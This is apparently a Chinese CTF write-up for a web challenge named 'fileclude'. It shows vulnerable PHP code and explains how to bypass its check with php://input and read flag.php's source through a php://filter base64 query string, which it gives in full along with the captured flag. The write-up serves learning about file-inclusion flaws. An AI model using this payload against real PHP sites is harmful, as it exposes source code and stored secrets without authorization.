当前位置: 首页 > news >正文

攻防世界WEB练习-fileclude

目录

题目场景

分析代码

解决思路

​编辑

base64解码

找到flag


题目场景

分析代码

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
    $file1 = $_GET["file1"];
    $file2 = $_GET["file2"];
    if(!empty($file1) && !empty($file2))
    {
        if(file_get_contents($file2) === "hello ctf") //要求返回值为hello ctf
        {
            include($file1);
        }
    }
    else
        die("NONONO");

解决思路

文件包含漏洞位于file1与file2两个变量中。其中,file2被放入了file_get_contents函数中,并要求返回值为hello ctf,我们可以用php://input来绕过;而file1被放入include函数中,并且根据题目提示,我们应该获取当前目录下flag.php的文件内容。因此我们可以使用php://filter伪协议来读取源代码。最终可以得到flag.php经过Base64编码后的结果

?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input

 

base64解码

找到flag

cyberpeace{7eaf71673582b983c07fabf14e1852b0}

相关文章:

  • Mybatis实战练习四【单个条件(动态SQL)添加数据】
  • 国赛高教杯使用python/matlab必会基础数学建模-数据处理模块(课程4)
  • XGBoost算法原理详解与参数详解
  • MySQL识别不了中文怎么办?(适合新手)
  • 【面试题】集合并发问题
  • 精品基于Uniapp+SSM实现的Android安全网购平台
  • Spring Cloud Gateway 网关实现白名单功能
  • Android Studio Chipmunk | 2021.2.1 Patch 2(2022 年 8 月)
  • 小程序商城上线需要做什么?
  • 选择边缘计算网关的五大优势
  • “蔚来杯“2022牛客暑期多校训练营4(A,D,H,K,N)
  • 达梦DataWatch主备环境搭建
  • python入门I--基本概念--基本语法--变量和标识符--数据类型
  • opencv-python之图像的加法与按位运算
  • rocketMq 安装
  • classpath对获取配置文件的影响
  • co模块的前端实现
  • flutter的key在widget list的作用以及必要性
  • iBatis和MyBatis在使用ResultMap对应关系时的区别
  • JS进阶 - JS 、JS-Web-API与DOM、BOM
  • k个最大的数及变种小结
  • mongodb--安装和初步使用教程
  • Python_OOP
  • Vue 重置组件到初始状态
  • vue脚手架vue-cli
  • weex踩坑之旅第一弹 ~ 搭建具有入口文件的weex脚手架
  • 第13期 DApp 榜单 :来,吃我这波安利
  • 工作手记之html2canvas使用概述
  • 计算机常识 - 收藏集 - 掘金
  • 简单易用的leetcode开发测试工具(npm)
  • 近期前端发展计划
  • 算法系列——算法入门之递归分而治之思想的实现
  • 算法之不定期更新(一)(2018-04-12)
  • 学习笔记TF060:图像语音结合,看图说话
  • 一个JAVA程序员成长之路分享
  • 优化 Vue 项目编译文件大小
  • 与 ConTeXt MkIV 官方文档的接驳
  • puppet连载22:define用法
  • ​Distil-Whisper:比Whisper快6倍,体积小50%的语音识别模型
  • # 20155222 2016-2017-2 《Java程序设计》第5周学习总结
  • # include “ “ 和 # include < >两者的区别
  • # Pytorch 中可以直接调用的Loss Functions总结:
  • #我与Java虚拟机的故事#连载18:JAVA成长之路
  • (react踩过的坑)antd 如何同时获取一个select 的value和 label值
  • (备忘)Java Map 遍历
  • (二) Windows 下 Sublime Text 3 安装离线插件 Anaconda
  • (二)七种元启发算法(DBO、LO、SWO、COA、LSO、KOA、GRO)求解无人机路径规划MATLAB
  • (附源码)计算机毕业设计SSM基于健身房管理系统
  • (十五)使用Nexus创建Maven私服
  • (四)linux文件内容查看
  • (心得)获取一个数二进制序列中所有的偶数位和奇数位, 分别输出二进制序列。
  • .NET CORE 第一节 创建基本的 asp.net core
  • .NET Core 项目指定SDK版本
  • .NET Entity FrameWork 总结 ,在项目中用处个人感觉不大。适合初级用用,不涉及到与数据库通信。
  • .Net Framework 4.x 程序到底运行在哪个 CLR 版本之上